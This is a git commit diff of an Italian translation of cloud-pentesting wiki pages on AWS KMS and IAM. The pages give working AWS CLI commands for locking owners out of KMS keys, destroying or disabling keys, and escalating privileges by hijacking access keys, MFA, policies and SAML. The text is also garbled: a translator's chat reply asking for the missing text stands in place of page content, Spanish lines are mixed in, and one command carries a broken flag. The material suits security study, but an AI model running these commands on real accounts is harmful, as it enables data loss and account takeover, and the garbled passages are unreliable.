Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 14:58:44 +00:00
parent c844e98d85
commit d5a165970a
2 changed files with 85 additions and 68 deletions
@@ -4,7 +4,7 @@
## KMS
Per maggiori informazioni consulta:
Per ulteriori informazioni consulta:
{{#ref}}
../../aws-services/aws-kms-enum.md
@@ -14,13 +14,13 @@ Per maggiori informazioni consulta:
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non testuali.
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplici, script o JSON che non richiedono requisiti di codifica speciali.
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali.
> [!TIP]
> Nota che se vuoi decriptare dei dati contenuti in un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
> Nota che se vuoi decrypt dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
- Usando una chiave **simmetrica**
- Using a **symmetric** key
```bash
# Encrypt data
aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
Un attacker con accesso privilegiato a KMS potrebbe modificare la KMS policy delle keys e **grant his account access over them**, rimuovendo l'accesso concesso all'account legit.
Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al suo account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
Di conseguenza, gli utenti dell'account legit non saranno in grado di accedere a nessuna informazione di qualsiasi servizio crittografato con quelle keys, creando un ransomware semplice ma efficace sull'account.
Gli utenti dell'account legittimo non potranno accedere alle informazioni di alcun servizio che siano state cifrate con quelle chiavi, creando un ransomware semplice ma efficace contro l'account.
> [!WARNING]
> Nota che **AWS managed keys aren't affected** da questo attacco, solo **Customer managed keys**.
> Nota che **AWS managed keys aren't affected** da questo attacco; sono interessate solo le **Customer managed keys**.
> Si noti inoltre la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
> Nota anche la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (l'assenza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da quell'account esterno provi a impostare una nuova policy per **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
> Nota che se modifichi quella policy e concedi l'accesso solo a un external account, e poi da quell'external account provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Generico KMS Ransomware
### Generic KMS Ransomware
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
There is another way to perform a global KMS Ransomware, which would involve the following steps:
- Crea una nuova **key with a key material** importata dall'attaccante
- **Re-encrypt older data** dei dati della vittima cifrati con la versione precedente usando quella nuova.
- **Delete the KMS key**
- Ora solo l'attaccante, che possiede il originale key material, potrebbe essere in grado di decifrare i dati cifrati
- Crea una nuova **chiave con materiale della chiave** importato dall'attaccante
- **Riencriptare i dati più vecchi** della vittima, originariamente crittografati con la versione precedente, con quella nuova.
- **Elimina la KMS key**
- Ora solo l'attaccante, che possiede il materiale originale della chiave, potrebbe essere in grado di decrittografare i dati crittografati
### Eliminare chiavi tramite kms:DeleteImportedKeyMaterial
### Delete Keys via kms:DeleteImportedKeyMaterial
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può eliminare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno imperted il loro key material), rendendole incapaci di decifrare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il materiale della chiave importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro materiale della chiave), rendendole incapaci di decrittografare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato materiale compatibile, consentendo a un attaccante di causare di fatto una perdita di dati simile a ransomware rendendo le informazioni criptate permanentemente inaccessibili.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Distruggere le chiavi
### Distruggere keys
Distruggendo le chiavi è possibile eseguire un DoS.
Distruggendo keys è possibile effettuare un DoS.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
@@ -124,7 +124,7 @@ aws kms schedule-key-deletion \
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross account:**
### Modificare o eliminare Alias
Questo attacco cancella o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando guasti immediati in qualsiasi servizio che dipenda da quegli alias, provocando un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e compromettere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può fallire fino a quando l'alias non viene ripristinato o rimappato correttamente.
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si appoggi a quegli alias, risultando in un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias`, un attaccante può rimuovere o ripuntare alias e interrompere le operazioni crittografiche (e.g., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che al key ID potrebbe non funzionare finché l'alias non viene ripristinato o correttamente rimappato.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
@@ -134,8 +134,8 @@ aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo l'exfiltration.
### Annullare l'eliminazione della chiave
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riattivarla. In questo modo recupera la chiave (inizialmente nello stato Disabled) e ne ripristina la capacità di decrittare dati precedentemente protetti, consentendo l'esfiltrazione.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
@@ -146,13 +146,13 @@ aws kms enable-key \
--key-id <Key_ID>
```
### Disabilitare la chiave
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key, impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
Con il permesso `kms:DisableKey`, un attore può disabilitare una chiave master del cliente (CMK) di AWS KMS, impedendone l'uso per la crittografia o la decrittografia. Ciò interrompe l'accesso per qualsiasi servizio che dipenda da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derivazione del segreto condiviso
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata custodita in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
### Derivare un segreto condiviso
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata detenuta in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
Con il permesso `kms:Sign`, un attore può utilizzare una CMK memorizzata in KMS per firmare criptograficamente i dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
Con il permesso `kms:Sign`, un attore può usare una CMK conservata in KMS per firmare crittograficamente dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
```bash
aws kms sign \
--key-id <key-id> \
@@ -169,7 +169,7 @@ aws kms sign \
--message-type RAW
```
### DoS with Custom Key Stores
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inutilizzabili. Questo interrompe le operazioni di crittografia, decrittografia e di firma per qualunque servizio che si affidi a quelle chiavi e può causare un immediato denial-of-service. È quindi fondamentale limitare e monitorare tali permessi.
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le chiavi master inutilizzabili. Questo interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che dipenda da quelle chiavi e può causare un immediato denial-of-service. Limitare e monitorare tali permessi è quindi fondamentale.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
@@ -4,7 +4,7 @@
## IAM
Per maggiori informazioni su IAM, consulta:
Per maggiori informazioni su IAM consulta:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@ Per maggiori informazioni su IAM, consulta:
### **`iam:CreatePolicyVersion`**
Consente di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` usando il flag `--set-as-default`. Questo consente di definire permessi personalizzati.
Concede la possibilità di creare una nuova versione di una IAM policy, aggirando la necessità della permission `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Questo permette di definire permessi personalizzati.
**Exploit Command:**
```bash
@@ -23,29 +23,48 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \
### **`iam:SetDefaultPolicyVersion`**
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.
Consente di cambiare la versione predefinita di una IAM policy con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.
**Bash Command:**
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impatto:** Escalation di privilegi indiretta abilitando permessi aggiuntivi.
**Impatto:** Escalation di privilegi indiretta consentendo più permessi.
### **`iam:CreateAccessKey`**
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale escalation di privilegi.
Permette di creare access key ID e secret access key per un altro utente, con possibile escalation di privilegi.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.
**Impatto:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
Nota che un utente può avere al massimo 2 access keys; quindi se ha già 2 access keys sarà necessario il permesso `iam:DeleteAccessKey` per eliminarne una e poterne creare una nuova:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata con MFA usando le sue credenziali.
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Escalation diretta dei privilegi acquisendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Consente di creare o aggiornare un login profile, compresa l'impostazione di password per l'accesso alla console AWS, con conseguente escalation di privilegi diretta.
Consente di creare o aggiornare un login profile, inclusa l'impostazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
**Exploit per la creazione:**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
@@ -55,35 +74,35 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impact:** Escalation diretta dei privilegi effettuando l'accesso come utente "qualsiasi".
**Impatto:** Escalation diretta dei privilegi accedendo come "any" user.
### **`iam:UpdateAccessKey`**
Consente di abilitare una access key disabilitata, potenzialmente permettendo accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.
Consente di abilitare una disabled access key, potenzialmente causando accesso non autorizzato se l'attacker è in possesso della disabled access key.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impatto:** Escalation di privilegi diretta riattivando access keys.
**Impatto:** Escalazione diretta dei privilegi riattivando access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Consente di generare o reimpostare credenziali per servizi AWS specifici (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
Consente di generare o reimpostare credenziali per servizi AWS specifici (es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
**Exploit per la creazione:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
**Exploit per il reset:**
**Exploit per il Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impatto:** Escalation di privilegi diretta sulle autorizzazioni di servizio dell'utente.
**Impatto:** Escalation diretta dei privilegi all'interno delle autorizzazioni di servizio dell'utente.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando le autorizzazioni della policy allegata.
Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando i permessi della policy allegata.
**Exploit per l'utente:**
```bash
@@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impatto:** Escalation di privilegi diretta a qualsiasi cosa la policy conceda.
**Impatto:** Escalation di privilegi diretta verso tutto ciò che la policy concede.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permette di allegare o aggiungere policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta concedendo permessi aggiuntivi.
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta tramite la concessione di permessi aggiuntivi.
**Exploit per il ruolo:**
**Exploit per ruolo:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
@@ -114,9 +133,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Non vedo il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md qui.
Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice, nomi tecnici (es. aws, lambda, pentesting) e le altre eccezioni che hai indicato.
Puoi usare una policy come:
```json
{
"Version": "2012-10-17",
@@ -129,13 +146,13 @@ Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice,
]
}
```
**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite policy.
**Impatto:** Escalation di privilegi diretta aggiungendo permessi tramite policy.
### **`iam:AddUserToGroup`**
Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
Permette di aggiungersi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
**Sfruttamento:**
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
@@ -143,14 +160,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
### **`iam:UpdateAssumeRolePolicy`**
Consente di alterare il documento assume role policy di un ruolo, consentendo l'assunzione del ruolo e delle autorizzazioni associate.
Permette di modificare il documento della policy di assunzione del ruolo (assume role policy) di un ruolo, consentendo l'assunzione del ruolo e i permessi associati.
**Exploit:**
**Sfruttamento:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando la policy è la seguente, che all'utente il permesso di assumere il ruolo:
Quando la policy è simile alla seguente, che concede all'utente il permesso di assumere il ruolo:
```json
{
"Version": "2012-10-17",
@@ -165,17 +182,17 @@ Quando la policy è la seguente, che dà all'utente il permesso di assumere il r
]
}
```
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, portando a una possibile escalation di privilegi indiretta.
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, con possibile escalation di privilegi indiretta.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit per la disattivazione di MFA:**
**Exploit per MFA Deactivation:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
@@ -183,20 +200,20 @@ aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_num
### **`iam:ResyncMFADevice`**
Permette la risincronizzazione di un dispositivo MFA, potenzialmente causando un'escalation di privilegi indiretta tramite la manipolazione della protezione MFA.
Consente la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.
**Impatto:** Escalation dei privilegi indiretta aggiungendo o manipolando dispositivi MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Con queste autorizzazioni puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **ruolo che si fida di essa**.
Con questi permessi puoi **cambiare i metadata XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **role that is trusting** it.
Nota che facendo questo **gli utenti legittimi non saranno in grado di effettuare il login**. Tuttavia, potresti ottenere l'XML, quindi puoi sostituirlo con il tuo, effettuare il login e ripristinare quello precedente.
Nota che facendo questo **legit users won't be able to login**. Tuttavia, potresti ottenere l'XML, così puoi mettere il tuo, login e ripristinare la configurazione precedente
```bash
# List SAMLs
aws iam list-saml-providers
@@ -213,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Uno strumento in grado di generare i metadata SAML e di eseguire il login con un ruolo specificato
> TODO: Uno strumento in grado di generare i SAML metadata e fare il login con un ruolo specificato
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Non sicuro su questo) Se un attacker ha queste **permissions**, potrebbe aggiungere un nuovo **Thumbprint** per riuscire ad effettuare il login in tutti i ruoli che si fidano del provider.
(Da verificare) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a fare login in tutti i ruoli che si fidano del provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -228,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privileges e permettendogli di eseguire azioni che normalmente sono ristrette dalle permissions esistenti.
Questa permission permette a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalating i suoi privileges e consentendogli di eseguire azioni normalmente limitate dalle sue existing permissions.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -251,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Un soggetto con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio emerge quando qualcuno con questa autorizzazione modifica il boundary di un ruolo: può restringere in modo improprio le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, ampliare di fatto ciò che il ruolo può fare e permettere un'escalation dei privilegi.
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un role esistente. Il rischio si presenta quando qualcuno con questa autorizzazione modifica il boundary di un role: può limitare in modo improprio le operazioni (causando interruzioni del servizio) oppure, se appone un boundary permissivo, ampliare effettivamente ciò che il role può fare e ottenere escalation di privilegi.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \